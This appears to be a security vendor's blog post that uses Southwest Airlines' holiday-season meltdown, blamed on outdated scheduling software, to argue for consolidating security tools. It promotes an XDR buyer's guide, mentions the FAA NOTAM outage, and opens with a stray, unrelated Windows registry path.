HKLM\System\CurrentControlSet\Control\Terminal Server
The New Year’s Day edition of The Wall Street Journal asked a big question in a big headline: “Can Southwest Airlines Buy Back Its Customers’ Love?”
While other airlines rebounded from extreme winter weather and service disruptions, Southwest—always top-rated, with a famously loyal following—melted down. It canceled more than 2,300 flights, stranding passengers and their baggage around the country over the Christmas holidays. The U.S. Department of Transportation is putting the entire event “under a microscope.”
Most believe Southwest will, in fact, be loved again. Tickets were refunded, travel expenses were reimbursed, and approximately 25,000 frequent flyer miles were doled out to each stranded customer. Whatever. That’s not why you should pay attention to this tale.
The object lesson that matters? WSJ’s CIO Journal followed up, reporting that “balky crew scheduling technology” caused the disaster. Airline staff who used the system had been frustrated by it for some time, but couldn’t get executive attention. A scathing New York Times op-ed on December 31, "The Shameful Open Secret Behind Southwest’s Failure," blames the strong incentives to address problems by “adding a bit of duct tape and wire to what you already have.”
Balky tech that frustrates staff: Sound familiar?
Two years ago, ZDNet reported the average enterprise managed 45 different tools to secure their environment. A few weeks ago, the Silicon Valley Business Journal said the number has jumped to 76, with sprawl driven by a need to keep pace with cloud adoption and remote work. Security teams are spending more than half their time manually producing reports, and pulling in data from multiple siloed tools.
The cybersecurity skills gap isn’t going anywhere. And the most tech savvy generation in human history—Gen Z, the latest entrants to adulthood and the workforce—is unlikely to stick it out in a burnout job laden with clunky tools. They grew up with customer-obsessed brands like Apple and Amazon and Zappos. Expectations about technology and elegant simplicity are built into all corners of their lives—work included— and they instantly know the difference between good and shambolic. Younger workers led The Great Resignation of 2021.
The trend toward XDR adoption is part of a solution. While capabilities can vary, XDR should integrate and correlate data from across your environment, letting you prioritize and eliminate threats, automate repetitive tasks, and liberate people to do important work.
If 2023 is your year to consider XDR, start with this Buyer’s Guide
Our new XDR Buyer’s Guide is for all of you who want to consolidate, simplify, and attract top talent. In this guide, you’ll get:
Must-have requirements any real XDR offers
Ways XDR is a staffing and efficiency game-changer
Key questions to ask as you evaluate options
Last year, Southwest announced $2 billion in customer experience investments, including upgraded WiFi, in-seat power, and larger overhead bins, as well as a new multimedia brand campaign, “Go With Heart.”
After taking very good care of stranded customers—and true to form, the airline did—it announced a 10-year, $10 million plan to hit carbon reduction goals. The Wall Street Journal asked: “Could not the Southwest IT department have used another $10 million?”
…and you’ve surely heard about this
This morning at 7:20am, the FAA grounded all domestic departures when the NOTAM (Notice to Air Mission) system failed. This critical system ingests information about anomalies at 19,000 airports for 45,000 flights every day, and alerts the right pilots at the right time. We woke up hearing about “failure to modernize” and also possible compromise.
Thanks for reading and come back tomorrow, as we'll be following this developing story closely.